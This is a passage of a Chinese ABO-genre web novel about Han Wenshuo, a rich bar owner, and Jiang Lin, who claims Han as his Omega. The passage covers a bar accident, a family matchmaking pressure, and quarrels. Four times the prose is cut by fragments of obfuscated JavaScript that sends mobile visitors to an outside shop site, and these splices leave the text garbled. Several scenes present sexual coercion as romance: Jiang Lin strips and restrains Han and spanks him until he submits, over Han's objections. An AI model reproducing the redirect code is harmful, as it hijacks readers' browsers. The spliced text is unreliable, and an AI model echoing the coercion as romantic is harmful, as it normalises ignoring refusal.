但是让江临住他家是不可能的!这死小子绝对不能再进他家门一步! 他之前听说小赵他们好像在店附近合租公寓来着,可以帮江临问问看。 这么想着,他走出办公室,随即听到前厅吵闹的声音,不禁加快了点步子。 三四个人围在吧台前,韩闻烁走过去问,“什么事啊?” 郭炜指使身旁人,“去拿拖布来。” “还有医药箱。” 两个店员应声跑开,韩闻烁才看清发生了什么。 地上碎了瓶酒,江临手背上被划了个口子,正流着血。 “啧。”韩闻烁踢开地上的玻璃碎片,上前握住江临的手,“你笨啊,受伤没够是吧。” 郭炜跟着叹了口气,“我寻思先教他认认酒,谁知道一回身的功夫就摔了。” “我说了不要用手捡,他非不听。这下好了,酒也碎了,手也伤着了。” 江临垂着眼,低声道歉,“对不起。” “这瓶酒3800呢。”郭炜拍拍他,可惜道,“只能从你下个月工资里扣了。” “扣个屁啊。”韩闻烁叉腰,“让他赔能穷死他,记我账上。” 郭炜:? 小赵火急火燎地拎了医药箱来,韩闻烁伸手接了过来,抓着江临往回走,“过来。” 回到办公室,韩闻烁掐着江临的手给他消毒,疼得江临嘶了口气,直往后躲。 韩闻烁立刻瞪了他一眼,“装什么?身上伤成那样还能上床,这点疼忍不了?” 江临不躲了,只说,“这个工作不适合我,我做不了。” 韩闻烁动作顿下,半晌,把他手一甩,药也不上了,冷脸道,“你小子故意的是吧?” 江临没回话,默不作声地拿起纱布给自己的手缠好,一圈又一圈。 他抬眼看向韩闻烁,眼里没什么情绪。 “我只有一个要求,别让我离开你。”他说,“尤其在我易感期的时候,一步也不行。” 韩闻烁气笑了,这小子又在跟他提什么狗屁易感期了。 “不离开我是吧?”韩闻烁顶了下腮,心说他这暴脾气,还就跟这狗东西干上了。 “行。”他把医药箱重重合上,手指着江临道,“从今天开始你就给我当保姆,我让你干什么你干什么,不同意现在就滚。” 他还就不信了。 没想到,江临认真地点了点头,答应他,“可以。” 韩闻烁后槽牙都快要碎了,“算你有种。” 行,他早晚把这小屁孩折腾走。 他没好气儿地把医药箱往前一推,“滚出去干活。” “左手伤着了就用右手干,那点伤两天就好了,别跟我装柔弱。” 江临没吭声,起身出去了。 门关上的瞬间,韩闻烁抬腿踹了脚一旁的椅子。 还真他妈甩不掉了。 晚上九点多,正是店里生意还不错的时候。韩闻烁坐在吧台边一边喝酒,一边盯着江临跟着郭炜忙来忙去。 他喝得微醺,眼睛在江临身上来回打量,男生肩宽腰细腿长,穿上他们店里的制服围裙还显得人模狗样的。 他把酒杯往后一送,小赵立刻很有眼力见地给他续上一杯。 “韩哥,少喝点吧。”小赵劝他,“对胃不好。” 韩闻烁摆摆手。 其实他开这个清吧的目的很简单,就是想给自己找个安静的地方喝酒。开理发店是因为他本来就爱打扮自己,没事儿就爱换换发色。至于那家烤肉店……是想等苏哲醒过来后交到他手里的,虽然不知道他什么时候能醒。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285872|198433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 三五个女生结伴,有说有笑地进来,韩闻烁视线被吸引过去,一眼就看到了个熟人——方疏乐。 方疏乐也看见了他,跟同行的女生说了句什么,朝他走过来。 韩闻烁放下酒杯,跟她打招呼,“好久不见啊。” 方疏乐抱起肩膀来,眯着眼睛打量他,“韩大少爷,怎么在这儿一个人喝闷酒啊?” “你之前不是开了个什么酒吧?怎么不去自己的地盘喝?” 韩闻烁张开手臂,向她介绍,“这儿也是我开的啊。” 方疏乐无语地笑出声来,“服了你了。” “之前那个酒吧不是带迪厅嘛。”韩闻烁解释道,“太吵,那种地方一周去个一两次得了,天天去吵得我头疼,就关了,喝酒还是安静点好。” 方疏乐怼他,“是不挣钱关门大吉了吧?” 韩闻烁啧了一声,“就烦你老爱说实话。” “和朋友出来喝酒?”他问方疏乐。 方疏乐嗯了一声,“给打折吗?前任价。” 韩闻烁笑了,“给前任打折能是我的风格吗?免单,今天喝多少都算我的。” “义气啊。”方疏乐笑笑,又说,“对了,下周我哥过生日,你不来热闹一下?” “哦,他好像跟我说了。”韩闻烁一下想起来,“你不提醒我真忘了。” 方越也是他们这些二代圈子里的朋友,两家父母生意上有来往。他和他妹谈上的时候,方越差点把他砍了,还好谈了两周就分手了。方疏乐喜欢那种务实派公子哥,激情褪去之后,看不上他这种不务正业的。 “喝酒去了啊。”方疏乐跟他挥手,“生日派对记得来。” 韩闻烁点头,“没问题。” 目光再一转,和几米外的江临对上了。 男生看他的眼神十分不悦。 韩闻烁:“……” 又发什么神经。 他瞥开视线,继续喝酒。 没想到江临几步奔着他来了,韩闻烁张口就骂,“你他妈看我干——” “她是谁?”江临问。 韩闻烁愣了下,说,“我朋友啊。” “什么朋友?” “前女友。”韩闻烁不耐烦,“怎么了?” 对着前女友笑得跟朵花似的。 江临气不打一处来,拽过韩闻烁就往后面走。 “哎我靠——”韩闻烁不得已把酒杯扔下,“你小子劲儿那么大呢你,让你左手伤了用右手你就真用是吧!有那么多力气怎么不去练散打啊!” 撩开通往后厅的帘子,江临把韩闻烁往墙上一按,狠狠吻了上去。 “卧槽,你别咬——” 他大爷的!!! 韩闻烁怒火心中烧。 死小子欺负他手使不上劲儿,就敢乱来是吧! 他抬腿,用膝盖照着江临裆部狠狠怼了下,一点没客气。 江临瞬间松开他,往后退开半步,在墙角蹲了下来。 韩闻烁这下解气了,“没事儿发什么疯啊,那么爱咬人呢。” 见江临半天没吭声,他又有点后悔了,用皮鞋尖轻轻踢了下江临膝盖,“哎,真不行了?我没用多大力气吧,用不用送你去医院?” 他弯下腰,凑近了些瞧,眼看着江临掉下几滴泪来,把他吓一激灵,“卧槽你别哭啊!” 韩闻烁手忙脚乱起来,“哥错了还不行吗?哥送你去医院,你残了哥肯定养你后半辈子。” 江临抬眼,可怜兮兮地看他,“亲我一口。” 5. 第 5 章 “我——”韩闻烁差点一口气儿没提上来。 敢情这小子在这儿等着他呢。 “亲个屁!”他直起腰来骂道,“赶紧起来别跟我装死。” “你跟她说什么了?”江临蹲在角落里,不答反问。 “什么啊?”韩闻烁听不明白。 “和你前女友。”江临说。 韩闻烁不痛快地撇了下嘴,“能说什么?好久没见了寒暄一下呗。” 江临:“……哦。” 他抹掉眼泪站起来,一双眼睛里透着狡黠,但很快又隐下去。 韩闻烁反应过来什么,无语地笑了声,“你因为这个生气啊?” 他单手叉起腰,“不是,咱俩有什么关系,轮得到你吃醋吗?” 江临刚平复下的情绪又被韩闻烁一句话点燃。 他磨了磨牙,试图压下火气,但没忍住。 忍不了。 他反手扯过韩闻烁,直奔走廊尽头的办公室。 韩闻烁跟在他身后骂得来劲,“你再二话不说就拽我走你试试!” 门一关,韩闻烁骂不出来了。 江临死死堵住他的嘴,把他亲得只能发出呜咽的声音,再转而去咬他后颈。 “我再说一遍。”江临声音低沉,“你是我的。” “是你个大头——”他腰上被江临掐了下,“操,疼!” 韩闻烁挣扎,“你别逼我再踢你啊!” 可惜江临根本不怕他的威胁,把他后颈的皮肉咬得生疼。 “操……” 韩闻烁浑身上下像被点了火一样,正当这时,他裤兜里的手机嗡嗡震动起来,响起一阵欢快的专属铃声。 韩闻烁瞬间冷静下来,腾出一只手去摸手机,一手狠狠揪着江临后脑的头发将他拽起来,严肃道,“我爸来电话,你敢发出一个音节你都死定了。” 江临姑且停下动作,放开了他。 韩闻烁拽了下被他扯歪的衣领,在沙发上坐下来,接通电话,声音正经了些。 “喂,爸。” 他皮笑肉不笑地应道,“没干什么啊,在店里呢。” 江临贴着他坐过来,他警惕地看江临一眼,往边上挪了挪,接着打电话,“这周末?周末我有事啊……” 他有防备地将手机拿远了一点,果然,一声吼传了过来。他不得已应道,“啊好好好,我周末回去,周末回去还不行吗?” 他抬手去摸桌上的烟盒,还没摸到,有双手从他身后环了上来。 韩闻烁一激灵,“卧槽你……” 电话那头他被骂了一句。 “哎不是爸,没说你,我那个,那个有东西掉了。” 他半回过身指着江临,把手机拿远了一点,压低声音道,“你给我老实点!” 江临没吭声,下巴抵进他颈窝蹭了蹭。 韩闻烁瞪他一眼,拿回手机继续道,“什么重要的事啊?电话里不能说吗?” “啊我知道了,肯定回家吃饭,一定一定。” 又敷衍地嗯了两声,韩闻烁才把电话挂断,回身就揪江临耳朵,“属癞皮狗的你!” - 周日,韩闻烁难得早起。 江临又坐了一桌子难吃得要死的早饭,他瞥了一眼那不知道是什么的黑乎乎的东西,忍不住开口,“别把自己毒死了,我今天不在家,没人给你叫救护车。” 他拿起车钥匙往门口走,跟江临说,“我回我爸妈那儿一趟,你老实待着。” 江临追到门口问他,“什么时候回来?” “可能得下午吧。”韩闻烁临走前又交代他,“把房间收拾一下,把猫喂了,我回来检查。” 江临:“哦。” 看他这么乖,韩闻烁突然有点想笑。 还不错,这不就相当于养了个小媳妇吗? 动手能力强,就是做饭难吃了点。改天给他报个厨艺班什么的吧。 这几天他和江临勉强算和平共处,至少没打起来。 他给江临买了新衣服新手机,没嘴贱招江临,江临也没按着他上床。他又故意使唤江临干这干那,江临也对他听之任之,乖得很。 他身上的红印子都消了不少,今天出门不用穿高领再贴创可贴了,不然他还真不知道怎么面对他爸妈。 半个多小时后,韩闻烁将车驶进庭院大门,随意停在门前,下了车车也没锁,三两步蹦上台阶,拉开大门。 “我回来了!”很有底气的一声。 客厅没人,他大步走到厨房才找见个人。 “张姨,我爸呢?”他顺手挑了个洗好的葡萄放进嘴里。 被唤作张姨的女人停下手里的活,转头一看,惊喜道,“哎哟,少爷回来了。” “老爷应该在楼上书房呢,我给您说一声去。” “啊,不用。”韩闻烁摆手,“我自己去吧。” 离开厨房前,他又回身问了句,“咱中午吃啥啊?” 张姨笑着回他,“夫人说您今天回家吃饭,特意嘱咐了,都是你爱吃的。” 韩闻烁满意了,笑得跟朵花似的,说了声谢转身往外走。他刚走到楼梯口,就听见有下楼的动静,等了两秒,一仰脑袋,果然是荣芸。 “妈。”韩闻烁叫了声。 荣芸眼前一亮,快步下楼来,“儿子?这么早就过来了?” 韩闻烁撑在扶手上跟她说话,“啊,有阵子没回家了,来看看你们呗。” “你还知道自己多久没回家了啊?”荣芸刚高兴了没两秒,瞟到他的头发,又板起脸来,一把抓住,“你这头发又是几个意思?又染个紫毛,非要把全天下发色都在你脑袋上过一遍是不是?” 荣芸扯得他龇牙咧嘴的,嘴上还不认错,“哎哎哎,别扯我头发啊!这颜色怎么了?多好看啊,流行!” 荣芸多看了他几眼,实在无法欣赏他的发色,甩手放开。 “一回来就吵,吵什么啊?”楼上,传来男人低沉的声音,韩闻烁一听,冲荣芸吐了下舌头。 “没吵,爸。”韩闻烁说,“跟我妈探讨时尚呢。” 韩建坤踱步从楼上下来,见到韩闻烁这一副吊儿郎当的样,眉头不禁紧锁,但也没说什么。 韩闻烁扯起嘴角笑笑,跟他挥了下手。 “你上来,跟你说点事。”韩建坤道。 “哦。”韩闻烁转头跟荣芸使眼色,意思是问什么事儿搞这么严肃,偏偏荣芸也没理他,把他推了上去。 得,韩闻烁这下知道了。是这两口子商量好的。 进了书房,韩闻烁往门口沙发上一坐,翘起二郎腿,韩建坤坐到靠窗的椅子上,有几分老子训儿子的架势。 “好好坐着。”韩建坤不悦道。 韩闻烁默默坐正。 “你这几个月都忙什么呢?”韩建坤问。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285873|198433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 韩闻烁琢磨了下说,“就……还开那几个店呢呗。” 韩建坤沉了口气,懒得再继续问下去。 韩闻烁也没吭声多做介绍。他知道在他爸眼里他现在做的这些事和过家家没什么区别,和他家做的生物制药一比,简直是小儿科。 “还不考虑去大学当个老师吗?”韩建坤又问。 韩闻烁一听又想抬腿,被韩建坤一眼瞪了回去。 “别逗了爸,就我这样我能教谁啊?学的那点生物早被我忘脑后了,纯误人子弟。再说了你也知道我就不爱学习,是你们非逼着我读我才读到博士的,这方案不是早八百年就pass了。” 老两口这一辈子就爱活个体面,极度希望让他成为“别人家的孩子”,从小培养他各项爱好,也看重他的学历,以“不好好读书就没钱”这种威逼利诱的方式硬是逼着他读到了博士。 本想着让他继承家业,或者至少进公司当个研究员从底层干起,但谁知道27岁毕业回国后他就直接开摆了,无论韩建坤和荣芸怎么说他也不肯进公司,转头就开了几个小店玩。 “你叫我就说这些啊爸。”韩闻烁准备起身,“说完了我下楼吃点东西去,我早饭还没吃,都饿了。” “对了,这几个月生意不好做,再给我打五百万呗。” 平时韩建坤和荣芸对他在钱这方面管得很严,怕他不学好,就只给他固定的生活费,如果没有正当理由,更不会多给他打钱。 韩建坤:“坐下。” “……”韩闻烁又一屁股坐了回来。 韩建坤拿起手机点了几下,又对他道,“发给你了,你看看。” 韩闻烁疑惑着摸出手机来,点开消息一看,是几个PDF,文件名是人名,而且一看就是女孩。 韩闻烁:“……” 他是起承转要钱,他爸妈起承转相亲。 “这都是和我们有生意往来的合作伙伴的女儿。”韩建坤道,“你的资料也发给对方了,你回去看看。” 韩闻烁:“……” “相亲的日子也都订好了,下周二,一天五场。”韩建坤说。 韩闻烁:? “不是爸,哪有这么相亲的,你都不提前跟我说一声?” 韩建坤:“提前说方便你到时候跑路吗?” 韩闻烁:“……” 韩建坤跟他敲桌子,“这回你去也得去,不去也得去,给我老老实实跟人家见面去!再整什么幺蛾子小心我一分钱都不给你!” 这种话韩闻烁耳朵都要听得起茧子。 “行行行我知道了。”他不太耐烦地起身,“就这事儿是吧,说完了我吃东西去了。” 一顿饭吃得不算愉快也不算闹心,临走前,韩闻烁叫张姨打包了些菜,荣芸问他干嘛,他说带回去给家里的狗吃。 荣芸奇怪,“你什么时候养狗了?不是就养了一只猫吗?” 韩闻烁拎起打包盒大步往外走,“刚养的,改天带来给你看啊。” 正说着,他手机上弹出来一条江临发来的消息。 他勾起嘴角点开。 这不,狗饿了。 “哎儿子,这个海参你再拿点回去。”荣芸几步追过来,“我感觉你都有黑眼圈了,那些店太操心你就关了吧。” 韩闻烁手疾眼快地把手机按灭,揣回兜里。 江临给他发了一张……半裸的照片。 6. 第 6 章 韩闻烁脸上一阵红一阵白的,看得荣芸更担忧了,又多嘱咐他两句,“这个海参你一定要记得吃啊,身体最重要。” 口袋里手机又叮叮咚咚地响起提示音,韩闻烁一个箭步夺门而出,“妈我走了!” 韩闻烁咬牙切齿地拿出手机,对着屏幕上江临发来的一串消息甚至不敢点开。 死小子发什么神经! 又发了什么?不会还是裸…… 坐回车上,韩闻烁犹豫几秒,小心翼翼地把手机解锁,果断把那张照片关掉。 江临:「哥,家里好像停水了。」 江临:「我洗澡洗到一半,身上都是泡沫。」 江临:「哥,你什么时候回来?」 江临:「哥?」 韩闻烁气急败坏地给他发语音,“给你一秒钟把那破照片给我撤回!” “别他妈哥哥哥的叫了,在往回走了!” 他盯着手机屏幕,很快,显示江临撤回了一条消息。 韩闻烁松了口气,他的手机干净了。 江临又发来新的一张照片:「刚才那张拍得不清楚。」 韩闻烁:“……” 他一路憋着气开车回家,怒气冲冲地推开门,大喊了声,“人呢!” 没想到江临转身从厨房出来了,“哥。” 韩闻烁看他换洗干净的衣服,微微皱眉,“不是说停水了?又来了?” 江临点头,“嗯。” 韩闻烁:“……” 他有理由怀疑这小子是故意的。 但他懒得跟江临计较。 他走上前把保鲜盒放到餐桌上,“给你带了吃的,还没吃饭吧。” 他往厨房瞥了眼,果然,还开着火。 “我求你了放过厨房行吗?你做那玩意人吃不了。” 江临:“我在学。” 韩闻烁走去关火,“自学成不了才,真想学改天送你去上课。” 他打开锅盖看了眼,不禁啧了声,念叨道,“这里面炖的什么,完全看不出来啊。” 他正琢磨着,江临从他背后抱了上来。 “……” 韩闻烁忍住了把锅盖砸到江临头上的冲动。 “又嗅什么?”韩闻烁无语地推搡他,“真属狗的,滚去吃饭。” “你吃过了吗?”江临问。 韩闻烁嗯了声,“跟爸妈一起吃的。” 江临没有怀疑,因为韩闻烁身上没有其他Alpha的味道。 他心满意足地在韩闻烁后颈上吻了下,“那你陪我一会儿。” 韩闻烁:“……” 还是属癞皮狗的。 他和江临相对而坐,江临吃饭,他就百无聊赖地点开方才韩建坤发他的那些资料看。 女方的信息很齐全,证件照生活照,年龄学历工作兴趣爱好等等……甚至连爱吃的菜系和甜品都注明了。 他一直不喜欢这种恋爱方式,不喜欢被安排着做这做那,像明码标价,任人挑选。更可怕的是,一旦结了婚,他大概率就要被老两口逼着回公司,处处受制于家里。 虽然现在也没好到哪儿去吧。眼下他还过着手心向上的日子,这相亲他还真不敢不去,万一真把老头子惹急了,什么都不给他怎么办? 韩闻烁叹了口气,接着往下翻。 “你在看什么?”江临问。 “相亲资料。”韩闻烁随口答。 可话刚出口,他就意识到氛围不对劲了,他抬眼看向江临,偏偏江临看他的眼神也变得锐利。 “你干嘛?”韩闻烁警觉地问。 “你要去相亲?”江临问。 韩闻烁点头,“是啊。” 江临一下撂下筷子,脸也冷下来。 韩闻烁啧了一声,他摸不到头脑,加上本来气儿也不顺,怼了江临一句,“你又作什么?” “好心给你带回来的怕你饿死,不吃就倒了。”他垂下眼去继续翻PDF,刚好翻到女生的生活照。 江临瞥了一眼,心里的火气蹭蹭上涌。 他质问韩闻烁,“你到底把我当什么?” 韩闻烁头也不抬,回道,“当保姆。” 江临咬住下唇,片刻后,把碗筷一推,起身走了。 门哐当一声被摔上。 韩闻烁也不惯着他,回身跟他喊,“你什么逻辑啊!你还有理了!爱吃不吃,饿死你算了!” 他在气头上,起身直接把江临剩下的半盒菜都倒进了垃圾桶里,嘴里还念叨着,“简直倒反天罡,到底谁给谁当保姆啊。” 他拿了手机回到沙发上坐下,接着看下一位女嘉宾的资料。 一天相五场,也就是他爹能想出来这种奇葩方式。倒是不怕他把对方名字都记串了。 韩闻烁耐着性子默默背资料,顾及对方都是他们家的合作伙伴,基本礼仪还是要有的。 他时不时往客卧看一眼,江临的房间里半点动静都没有,不知道在干什么。 他愤愤地哼一声,“神经,死了也不理你。” 一直趴在窝里睡觉的小猫终于睡饱了,扬起爪子“喵”了一声,韩闻烁为此心情好转,朝它招手,“橘子皮,过来,跟你爹玩会儿。” 小橘猫伸了个懒腰,几步跳进他怀里。 韩闻烁搂着小猫自言自语,“陪你爹背书行不行啊,你看这么多字儿,得背到什么时候去?要不你替我去相亲吧?你长得漂亮,女孩见了肯定都喜欢你。” 韩闻烁说着说着又叹了口气,揉了几下橘子皮,“你要是真能替我相亲就好了。” “要不让装死那小子替我相亲去?”韩闻烁回头往卧室看了眼,又道,“算了,那小子成天臭着张脸,女生见了他都得害怕,没你好。” 韩闻烁边抽烟边看了一个小时资料,看得他头晕,总算将几位女嘉宾的资料都背得七七八八,才扔下手机点了份外卖,躺沙发上睡了。 等被门铃叫醒,已经是晚上六点。 韩闻烁打着哈欠从外卖员手里接过纸袋,路过客卧时又往那边瞟了一眼。 还是没动静。 “啧。”韩闻烁有点烦。 不是真死了吧。 他把纸袋在餐桌上放下,犹豫片刻,还是走过去敲门。 “喂,出来吃晚饭了。” 没动静。 韩闻烁轻轻踢门,“你再不吃饿死了我可真不管啊。” “午饭不吃晚饭也不吃,你脾气怎么那么大呢!” 等了几秒还是没动静,他忍不了了,直接去拧门把手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285874|198433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结果拧了两下,竟然没拧开。 “卧槽,你还敢锁门?!”韩闻烁更来气了,“真把这儿当你家了!” 他抬腿作势踹门,“你给我开门!从我家滚出去!” 韩闻烁话音刚落,门应声而开,他一脚踹了个空,人几乎失去重心,向前倒去。 “哎我——” 好在江临及时圈住他的腰,将他稳住。 韩闻烁松了口气,拍拍江临的肩,“好兄弟,谢——” 下一秒,他原地腾空了。 韩闻烁:? 没等他反应过来,江临将他拦腰抱起,一转身,把他重重扔到了床上。 “我草!”韩闻烁一骨碌爬起来,“你他妈又干什么!” 江临拽住他一条腿,猛地将他拖回来。 “还去相亲吗?” “我去不去相亲跟你有什么关系!”韩闻烁仰头就骂,“这么爱多管闲事儿你去应聘居委会!” 他抬腿蹬了下,没能蹬开江临,简直狂怒无能,“你放开老子!” 江临冷着脸看他,“再说一遍我是你什么人。” 韩闻烁:“保姆啊!” 江临压制了一晚上的怒火终于爆发出来,他直接把人扒干净,双手死死握住韩闻烁的脚踝,将他两条腿抬了起来,抗到肩上。 “我草,江临!”韩闻烁见状,忙抓起一旁的枕头朝他脸上狠狠招呼过去,“日你大爷!” 江临被他打得身子一歪,他便趁着这个空档,挣开江临的手,又抬腿往他肚子上踹了脚,“又想上我是吧!我告诉你,没门!” 他提起裤子就要下床,骂骂咧咧道,“好心叫你吃饭,你还来劲了,好心当成驴肝肺,你爱吃不吃,不吃算了,就关这小黑屋里——” 他一扭头,看见江临居然在……哭? 韩闻烁:“……” “不是,祖宗,我没使劲打你吧?”韩闻烁纳闷了,“咱讲讲道理好不好?是你先扒我裤子的,还不让我还手啊。” 江临别过头去,没理他。 “……”韩闻烁犹豫片刻,伸手去勾他的下巴,“喂,别他妈哭了,搞得像我欺负你一样。” 可江临还是没理他,韩闻烁不得不凑过去看他,声音也放轻,“小江?” 突然,江临猛地按住他后颈,冲他嘴唇咬了上来。亲吻之间,他竟然感受到一点血腥味。 “你特么——”韩闻烁没骂出来,又被江临按回了床上。他摸了把嘴唇,果然,被咬出血了。 操! 鳄鱼的眼泪!都是鳄鱼的眼泪! “你个骗子!”韩闻烁用力推他,“你看我会不会再信你一次!给老子滚!” 江临压住他,在他耳侧咬着,“哥,兵不厌诈。” 韩闻烁一下被气笑了,抓住江临的头发将他拎起来,直勾勾地看向他眼睛,“就那么想和我上床是吧?” 江临同韩闻烁对视着,没说话。 他不否认这一点,可现在,他是为了给韩闻烁一点教训。终身标记后还这么不听话的Omega,他第一次见。 这也是他眼下唯一能抓住的了,他必须要抓住。 “行。”韩闻烁一个猛子翻身,将江临压在了身下,“但是今天,必须我在上面。” 7. 第 7 章 韩闻烁很不服气。 同样是男的,凭什么每次都是他江临说了算?就凭他力气没江临大吗? 说来也奇怪,江临身材看着还没他好呢,他为了臭美好歹练出一身薄肌来,江临瘦得跟—— ? 江临猛地打断他脑子里的胡思乱想。 “我草,你——” 他双臂一瞬失去力气。 “好啊哥哥。”江临锢住他的肩臂,让他动弹不得,低声道,“你就这么在上面吧。” 操! 韩闻烁握紧了拳头捶床。 还有没有天理了! 他可是直男!直男!!! “叫老公。”江临命令似的对他道。 “叫个屁!”韩闻烁勉强撑起上半身,恨不得这就给江临一巴掌,“老子是直男!” 谁知道江临倒是一巴掌抽在了他屁股上,“叫不叫?” “你——!”韩闻烁这下真起了杀心。 江临这死小子怎么敢这么对他的!!! 他扬起拳头,蓄满了力气。 突然,江临翻身将他压住,双手一起握住,按到头顶。 他额前的碎发垂下来,半遮住他眼里的情绪,“叫我。” 他今天非要让韩闻烁认清他们之间的关系。 韩闻烁呸他一口,“老子就不叫!你叫我老公还差不多!” 江临咬住牙,冷笑了声。 “不叫是吧,好。” 江临的巴掌又落下来,一点没留情。 “草。”韩闻烁的腿乱踢,“你特么别打老子了!” “叫。”江临又打了一巴掌。印迹叠加,韩闻烁皮肤逐渐开始泛红。 “你做梦!” 江临这次是狠了心要让韩闻烁听话。 韩闻烁大喊大叫,嘴里没一句好听的,可他几乎快要窒息,眼眶也红了,只得凭本能抓住江临一只手臂。 他胡乱地求饶,“老……公……” 江临像是终于满意了,反握住他手臂,俯身附到他耳侧轻声说,“哥,记住了,你是我的Omega。” 韩闻烁喘息片刻,脑子里一团浆糊,偏了偏头躲他的亲吻,“……又胡说什么。” 他无力地推江临,“滚下去,我要洗澡。” 几秒后,他睁开眼,难以置信又慌乱地盯住眼前人,“你他妈干什么!我真来不了了!” …… 晚上九点多,韩闻烁靠坐在床头,边抽烟边思考人生,面色沉重。 江临到底吃什么长大的这么有劲? 他们到底做了几次? 以及,Omega又是什么? 他边琢磨边从床头摸过手机来。在搜索框里输入“Omega”,弹出来的第一条——abo。 韩闻烁默默挑眉,又是abo? 他想起潭知行发给他的一堆txt,虽然疑惑,但还是返回去点开了。 他随意挑了一个,耐着性子读下去。 “哥。”江临站到门前,“我把外卖热好了。” “哦。”韩闻烁应了声,翻身下床,因为动作太随意疼得他嘶了口气。 他看江临的眼神多了些怨念,路过江临时报复性地把一口烟吐在江临脸上,“再做这么狠你试试。” 江临:“少抽点烟。” 韩闻烁满不在意,“少管我。” 韩闻烁熬了半个通宵看那些小说,边看还边给潭知行发消息吐槽,大多都是因为对直男世界观的冲击。当然,潭知行都没有回。 他终于对什么Alpha和Omega有了些基本的认知,是区别于男女的另一种性别分类方式,包括易感期抑制剂等等名词,都是abo世界观下独有的。并且,他还意识到了一点——Alpha与其结合的Omega具有不可分割的牵绊和唯一性。 这么说来,倒是能解释江临的一些行为。可韩闻烁还是想不明白,这算什么?穿越?穿书?江临跟他不是一个人种? 哪一个猜想听起来都很离谱。还不如让他接受江临是因为失忆暂时脑子进水了。 终于又看完一本小说,韩闻烁口渴,从床上坐起来去客厅找水喝。 他走到餐桌边,顺手开了圈灯,伸手去拿水杯,突然被不远处的人影吓得一抖,差点把水杯摔了。 半明半暗处的那人朝他看过来。 “江临?”韩闻烁这才把心放回肚子里,走去客厅看,“你不睡觉坐这儿干嘛?” 都凌晨三点了。 江临撑着茶几,从地毯上站起来,脸上没什么表情,“没事,我回去睡了。” 他淡淡道,“哥你也早点睡。” 韩闻烁看着江临走回卧室的背影,灌下两口水,半点摸不到头脑。 算了。 - 相亲倒计时一天,韩闻烁坐在理发店的椅子上,把愁眉苦脸几个字明晃晃地挂在脸上。 他看着店里的人教江临怎么给客人洗头发,怎么调染发膏,这笨蛋偶尔出错的样子还挺好笑的,但是也只能让他笑那么一会儿。 “老板,你怎么了啊?”前台小林凑过来问他。 韩闻烁唉声又叹气,“还能怎么的,大龄男青年,相亲。” “啊?老板,你家里又给你安排相亲了?”小林惊讶道,“我记得前段时间不是刚提过这事,被你推了吗?” “老两口不死心呗。”韩闻烁对着镜子扒拉了几下头发,明明前几天刚染的新发色,现在怎么看怎么不顺眼。 “小林,找人给我染个发。”韩闻烁想了想说,“嗯……要那个,粉金色吧。” “得嘞,这就来。” 小林跑去做准备,没一会儿,把江临拽来了。 “老板,让他练练手怎么样?给你染发。” 韩闻烁看着小说,瞥了眼江临,问他,“学会了吗?” 江临点点头。 “……行吧。”韩闻烁寻思江临动手能力还挺强的,松了口又嘱咐道,“你仔细着点啊,我明天可还要见人。” 小林给江临调好了染发膏,留他在这儿给韩闻烁上色,忙其他客人去了。 韩闻烁不知道江临又磨蹭什么去了,他也没管,继续看小说。 江临等了一会儿才过来,刚往他身后一站就开口问,“你明天还是要去相亲是吗?” 韩闻烁啧了一声,抬眼从镜子里看他,“我看你是又想吵架吧?这事儿怎么还没完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285875|198433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?” 江临不说话,挑起他一缕发尾,默默地给他染发。 “你以为我愿意去啊,要不是我爸妈催命,谁愿意去相亲啊?”韩闻烁翘起二郎腿,继续看小说,“我压根就不想结婚,还相亲呢。” “真的?”江临问。 “我骗你干嘛?” “……”江临手上动作停了下来。 “对不起。”他说。 那天他一听韩闻烁要去相亲就气急了,根本没问缘由,也没给韩闻烁解释的机会。但如果韩闻烁也是被逼的,那他的做法确实不对。 “还有……对不起。”他又说。 韩闻烁疑惑地抬眼,心说这小子什么时候转性了,再仔细一看…… 江临把他的头发染成了……绿色?!!! “我草!”韩闻烁大惊失色,忙叫人来,“小林!!!小林!快快快!救我!” 他一把扯掉围布,直奔去洗头,还不忘指着江临骂,“江临你小子!你给我等着!” 江临:“……” 